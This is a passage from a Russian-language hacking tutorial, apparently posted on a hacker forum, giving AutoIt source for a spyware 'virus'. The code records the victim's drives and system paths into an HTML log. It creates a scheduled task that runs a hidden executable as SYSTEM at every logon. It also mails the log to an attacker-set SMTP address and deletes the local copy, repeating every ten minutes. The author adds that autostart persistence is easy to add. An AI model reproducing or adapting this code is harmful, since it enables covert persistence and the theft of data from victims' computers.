            FileWrite($log,"<font color=teal style=font-size:17px> " & $var5[$i]& ",</font>") ; перечисляем их по именам
        Next
    EndIf
     
    $var6 = DriveGetDrive( "RAMDISK" ) ; определяем где RAm диски
    If NOT @error Then
        FileWrite($log,"<br><font color=teal style=font-size:17px> Ещё " & $var6[0] & " RAMDISK(а)</font><br>") ; выводим их количество
        For $i = 1 to $var6[0]
            FileWrite($log,"<font color=teal style=font-size:17px> " & $var6[$i]& ",</font>") ; перечисляем их по именам
        Next
    EndIf
     
      $var6 = DriveGetDrive( "UNKNOWN" ) ; определяем есть ли такие которые не поддаются определению
    If NOT @error Then
        FileWrite($log,"<br><font color=teal style=font-size:17px> остальные " & $var6[0] & " не определен(ы)</font><br>"); если есть выводим количество
        For $i = 1 to $var6[0]
            FileWrite($log,"<font color=teal style=font-size:17px> " & $var6[$i]& ",</font>") ; перечисляемих по именам
        Next
    EndIf
    FileWrite($log,"<br><font color=teal style=font-size:17px>Система стоит на диске: " & @HomeDrive & " ,путь до системной папки: "& @SystemDir &  "<br></font><br>") ;@HomeDrive аналогичен команде CMD %HomeDrive%,то есть тупа определяем на каком диске стоит система,ну @SystemDir думаю понятно,ловим путь до папки system32.
      _RunDOS( 'schtasks /create /tn WanResci /sc ONLOGON /tr ' & @WindowsDir & '\GTS\stisx.exe /ru "System" /f' ) ;создаёт правило используя schtasks,которое будет запускать при каждом входе в систему
     
    func _inetsmtpmailcom($s_smtpserver, $s_fromname, $s_fromaddress, $s_toaddress, $s_subject = "", $as_body = "", $s_attachfiles = "", $s_ccaddress = "", $s_bccaddress = "", $s_importance="normal", $s_username = "", $s_password = "", $ipport = 25, $ssl = 0)
        local $objemail = objcreate("cdo.message")
        $objemail.from = '"' & $s_fromname & '" <' & $s_fromaddress & '>'
        $objemail.to = $s_toaddress
        local $i_error = 0
        local $i_error_desciption = ""
        if $s_ccaddress <> "" then $objemail.cc = $s_ccaddress
        if $s_bccaddress <> "" then $objemail.bcc = $s_bccaddress
        $objemail.subject = $s_subject
        if stringinstr($as_body, "<") and stringinstr($as_body, ">") then
            $objemail.htmlbody = $as_body
        else
            $objemail.textbody = $as_body & @crlf
        endif
        if $s_attachfiles <> "" then
            local $s_files2attach = stringsplit($s_attachfiles, ";")
            for $x = 1 to $s_files2attach[0]
                $s_files2attach[$x] = _pathfull($s_files2attach[$x])
                if fileexists($s_files2attach[$x]) then
                    consolewrite('+> file attachment added: ' & $s_files2attach[$x] & @lf)
                    $objemail.addattachment($s_files2attach[$x])
                else
                    consolewrite('!> file not found to attach: ' & $s_files2attach[$x] & @lf)
                    seterror(1)
                    return 0
                endif
            next
        endif
        $objemail.configuration.fields.item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
        $objemail.configuration.fields.item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_smtpserver
        if number($ipport) = 0 then $ipport = 25
        $objemail.configuration.fields.item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $ipport
        if $s_username <> "" then
            $objemail.configuration.fields.item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
            $objemail.configuration.fields.item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_username
            $objemail.configuration.fields.item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_password
        endif
        if $ssl then
            $objemail.configuration.fields.item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = true
        endif
        $objemail.configuration.fields.update
        switch $s_importance
            case "high"
                $objemail.fields.item ("urn:schemas:mailheader:importance") = "high"
            case "normal"
                $objemail.fields.item ("urn:schemas:mailheader:importance") = "normal"
            case "low"
                $objemail.fields.item ("urn:schemas:mailheader:importance") = "low"
        endswitch
        $objemail.fields.update
        $objemail.send
        if @error then
            seterror(2)
            return
        endif
        $objemail=""
    endfunc
     
    Func _quit()
     
    FileOpen($log, 1)
      FileWrite($log, "</body>")
      FileWrite($log, "<b><center><font color=red >&copy; Sw@p Specially for <a href=http://thehackworld.in target=blanck >TheHackWorld.iN</a> </font></center>")
      FileClose($log)
      sleep(500)
    $stext=FileRead(FileOpen($log, 0)); читаем файл лога в переменную которая является телом отправляемого письма
    sleep(1000)
    _inetsmtpmailcom($smtpserver,$fromname,$fromaddress,$toaddress,$subject,$stext,$attachfiles,$ccaddress,$bccaddress,$importance,$username,$password,$ipport,$ssl) ; запускаем функцию отправки письма,тем самым отправляем письмо с логом
    sleep(100)
    FileDelete($log) ; удаляем файл лога и повторяем весь алгоритм скрипта.
     
    EndFunc
     
    While $i <= 1
    $var = Ping("www.google.com",250)
    If @error = 0 Then
    sleep(10)
      _quit()
    EndIf
    sleep(1000*60*10); промежуток времени через который будет осуществляться повторная отправка IP адреса.
    WEnd
    Пропись в автозагрузку нужно дописать,в этом тоже ни чего сложного нету.
    Существует ещё уйма способов написание подобных как бы вирусов,ну я думаю мы пока что остановимся на этом.
    ©SwAp TheHackWorld.in
     
    11 фев 2012
Загрузка...